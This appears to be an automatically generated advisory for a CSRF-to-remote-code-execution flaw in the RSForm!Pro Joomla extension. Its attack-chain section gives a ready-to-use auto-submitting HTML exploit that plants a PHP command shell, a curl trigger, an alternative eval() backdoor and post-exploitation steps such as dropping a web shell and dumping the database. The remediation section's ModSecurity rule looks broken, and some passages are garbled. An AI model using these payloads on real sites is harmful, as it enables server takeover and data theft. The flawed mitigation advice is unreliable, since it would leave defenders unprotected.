CVE-2026-35224 — Rsjoomla.com RSForm!Pro Extension For Joomla (3. — CWE-352
Joomla Extension - rsjoomla.com - Cross-site request forgery in backend tasks in RSForm!Pro extension < 3.5.0 - Multiple backend controller tasks lack anti-CSRF token checks, allowing an attacker to perform administrative actions on behalf of an authenticated backend user. As form field properties may contain PHP code evaluated by the component, this can lead to remote code execution.
Joomla Extension - rsjoomla.com - Cross-site request forgery in backend tasks in RSForm!Pro extension < 3.5.0 - Multiple backend controller tasks lack anti-CSRF token checks, allowing an attacker to perform administrative actions on behalf of an authenticated backend user. As form field properties may contain PHP code evaluated by the component, this can lead to remote code execution.
🎯 What is this vulnerability?
CVE‑2026‑35224 is a Cross‑Site Request Forgery (CSRF) issue that exists in the RSForm!Pro extension for Joomla (versions 3.0.0 through 3.4.10).
| Component | Flaw |
|---|---|
Backend controller tasks (e.g. saveForm, deleteForm, publishForm, importForm, exportSubmissions, etc.) | The HTTP handlers do not verify the Joomla anti‑CSRF token (X‑Joomla‑Token / csrf_token) that Joomla normally injects into every backend form. Consequently, any request that reaches the controller is accepted as long as the user is already authenticated in the Joomla administrator area. |
| Form‑field property handling | RSForm!Pro allows administrators to store arbitrary PHP code in certain field properties (e.g. *Default Value*, *Custom Validation*, *Pre‑process PHP*). The component evaluates that code at runtime using eval() or include. If an attacker can inject PHP into a field property, the code will be executed with the web‑server’s privileges. |
Why it is a CSRF + RCE combo
- The missing token check means an attacker can force an already‑logged‑in administrator (or any privileged backend user) to perform a state‑changing action simply by loading a malicious page.
- By chaining the CSRF to a form‑creation or field‑update operation, the attacker can plant PHP code inside a field property. When the form is later displayed or processed, that code runs on the server, giving remote code execution (RCE).
The vulnerability maps to CWE‑352 (Cross‑Site Request Forgery), but the secondary impact (execution of attacker‑controlled PHP) elevates the overall severity to CVSS 4.0 Score 8.4 (HIGH).
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All request examples are illustrative – the exact URI/parameter names are derived from the public source code of RSForm!Pro 3.x, but they may differ slightly in a given installation.
1. Discovery & Reconnaissance
| Step | Technique | Goal |
|---|---|---|
| a. Identify Joomla site | Scan common Joomla paths (/administrator/, /templates/, /media/) and look for the rsform component (/administrator/components/com_rsform/). | Confirm the target runs Joomla. |
| b. Fingerprint RSForm!Pro version | Request administrator/components/com_rsform/rsform.xml (the component manifest) or check the HTML comment <!-- RSForm!Pro 3.4.7 --> that appears in the backend UI. | Verify the version falls in the vulnerable range (3.0.0‑3.4.10). |
| c. Locate an authenticated admin | Either obtain credentials (phishing, credential stuffing) or rely on a low‑privilege admin that can still create/modify forms (the CVSS vector requires PR:H, i.e., a privileged user). | Needed because the CSRF only works for logged‑in administrators. |
2. Exploitation
2.1. Build the malicious CSRF payload
The attacker crafts an HTML page that automatically submits a POST request to the vulnerable controller. The request omits the CSRF token, which the backend will not reject.
<!DOCTYPE html>
<html>
<head><title>CSRF Exploit</title></head>
<body>
<form id="exploit" method="post"
action="https://victim.example.com/administrator/index.php?option=com_rsform&task=form.save">
<!-- Required fields for a new form -->
<input type="hidden" name="formId" value="0"> <!-- 0 = new form -->
<input type="hidden" name="FormName" value="pwned">
<input type="hidden" name="FormLayout" value="default">
<!-- Inject PHP into a field property (e.g., Default Value) -->
<input type="hidden" name="Fields[0][FieldName]" value="exploit">
<input type="hidden" name="Fields[0][FieldType]" value="text">
<input type="hidden" name="Fields[0][DefaultValue]" value="<?php system($_GET['cmd']); ?>">
<!-- The above is stored in the DB and later eval()'d -->
<!-- Submit automatically -->
<script>document.getElementById('exploit').submit();</script>
</form>
</body>
</html>The form posts to the form.save task of the com_rsform component. The exact task name (form.save, form.apply, etc.) may vary; any task that writes a form definition to the database is vulnerable.
2.2. Deliver the CSRF page
The attacker hosts the HTML page on a domain they control and lures the privileged Joomla administrator to visit it (e.g., via a phishing email, malicious link in a forum, or an infected internal web page). Because the administrator already has a valid session cookie (joomla_user_state), the request is authenticated.
2.3. Trigger RCE
Once the malicious form is stored, the attacker can execute arbitrary commands by requesting the front‑end form with the injected cmd parameter:
curl "https://victim.example.com/index.php?option=com_rsform&formId=123&cmd=id"The RSForm!Pro front‑end renderer evaluates the DefaultValue PHP code, which runs system($_GET['cmd']). The response will contain the command output (e.g., uid=33(www-data) gid=33(www-data) groups=33).
Alternative post‑exploitation payloads
DefaultValue to <?php eval($_POST['a']); ?>. configuration.php if the PHP code has file‑system write privileges.3. Post‑exploitation
| Goal | Typical technique |
|---|---|
| Full system compromise | Use the RCE to drop a persistent PHP web‑shell (e.g., shell.php) in the Joomla templates/ directory, then interact with the server at will. |
| Data exfiltration | Execute mysqldump or read configuration.php to steal DB credentials, then pull the entire Joomla database. |
| Privilege escalation | If the web‑server runs as a low‑privileged user, the attacker can pivot to the underlying OS using known local exploits or by abusing mis‑configured sudoers (outside the scope of the CVE). |
| Defacement / service disruption | Overwrite template files or inject malicious JavaScript into the site’s front‑end. |
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation | Practical Consequence |
|---|---|---|
| Confidentiality (VC:H) | VC:H – The attacker can read arbitrary files (e.g., configuration.php, DB dumps) via RCE. | Exposure of user data, admin credentials, API keys. |
| Integrity (VI:H) | VI:H – The attacker can modify files, inject malicious PHP, or alter form definitions. | Persistent backdoors, defacement, injection of malicious code into legitimate pages. |
| Availability (VA:H) | VA:H – The attacker can delete or corrupt files, or cause fatal PHP errors. | Site downtime, loss of service, potential ransomware drop‑in. |
| Scope (SC:N) | No privilege escalation beyond the compromised web‑application process. | |
| User Interaction (UI:A) | Requires the victim (admin) to load a malicious page – typical for CSRF. |
Overall, an attacker who can obtain or coerce a privileged Joomla admin session can achieve remote code execution with the web‑server’s privileges, which in most shared‑hosting or containerised environments translates to full compromise of the web host.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade RSForm!Pro | Move to RSForm!Pro 3.5.0 or later. The vendor added proper CSRF token validation to all backend controller tasks and removed the unsafe eval() path for field properties. |
| Apply Joomla core updates | Ensure Joomla core is at least 4.2.0 (or the latest 3.x LTS) because newer core versions include stricter token handling that can mitigate similar issues. |
| Verify component version | After upgrade, confirm the manifest (administrator/components/com_rsform/rsform.xml) reports version ≥ 3.5.0. |
2. Immediate Workarounds (if patch cannot be applied immediately)
| Mitigation | Implementation |
|---|---|
| Enforce CSRF token validation at the web‑server level | Add a ModSecurity rule that blocks POST/GET requests to administrator/index.php with the option=com_rsform parameter unless the request contains a valid X-Joomla-Token header (or the csrf_token POST field). Example rule: |
``apacheconf\nSecRule REQUEST_URI "@beginsWith /administrator/index.php" "chain,phase:2,deny,status:403,msg:'RSForm!Pro CSRF protection',id:2026001"\nSecRule ARGS:option "^com_rsform$" "t:none"\nSecRule &ARGS:csrf_token "@eq 0" "t:none,ctl:ruleEngine=Off"\n` | |
| Restrict backend access by IP | Configure the web server (or a WAF) to allow the Joomla administrator interface only from known corporate IP ranges. |
| Disable PHP evaluation in form fields | In the RSForm!Pro backend, go to Configuration → Advanced → PHP in fields and set “Allow PHP in field properties” to No. This removes the secondary RCE vector even if CSRF succeeds. |
Set session.cookie_httponly and SameSite=Strict | Hardening the session cookie reduces the chance that an attacker can force the admin’s browser to send the cookie to a malicious third‑party site. |
| Content‑Security‑Policy (CSP) | Deploy a CSP that disallows eval()` and inline scripts for the admin domain, limiting the impact of any injected PHP that tries to output JavaScript. |
3. Detection – Log & IOC Guidance
| Indicator | Where to look | Example |
|---|---|---|
POST/GET to option=com_rsform without CSRF token | Apache/Nginx access logs (access_log) | POST /administrator/index.php?option=com_rsform&task=form.save HTTP/1.1" 200 1234 "-" "Mozilla/5.0" and no csrf_token parameter in the request body. |
Creation or update of a form containing <?php | Joomla database (#__rsform_forms or #__rsform_fields) | SELECT * FROM jos_rsform_fields WHERE DefaultValue LIKE '%<?php%'; |
Unexpected cmd parameter usage | Web‑app logs or WAF alerts | GET /index.php?option=com_rsform&formId=12&cmd=whoami HTTP/1.1 |
| Outbound connections from the web‑server to unknown hosts | Host‑based IDS (e.g., OSSEC) or netflow | Outbound TCP 45.33.32.12:443 shortly after a form is saved. |
| File creation in writable Joomla directories | File integrity monitoring (Tripwire, OSSEC) | New file /templates/protostar/html/com_rsform/shell.php created within minutes of a CSRF event. |
Alerting suggestion – Correlate a CSRF‑like request (no token) with a subsequent DB change that inserts <?php into a field. This pattern is highly indicative of exploitation.
⚠️ Urgency
Bottom line: CVE‑2026‑35224 lets an attacker who can lure a Joomla administrator into visiting a crafted page create or modify RSForm!Pro forms with malicious PHP, resulting in remote code execution. The fix is straightforward—upgrade to RSForm!Pro 3.5.0 or later and enforce CSRF token checks. Until then, apply the mitigation steps and monitor logs for the characteristic CSRF‑without‑token and PHP‑in‑field patterns.
[🤖 CVE Professor AI Security Engine]
FOFA Query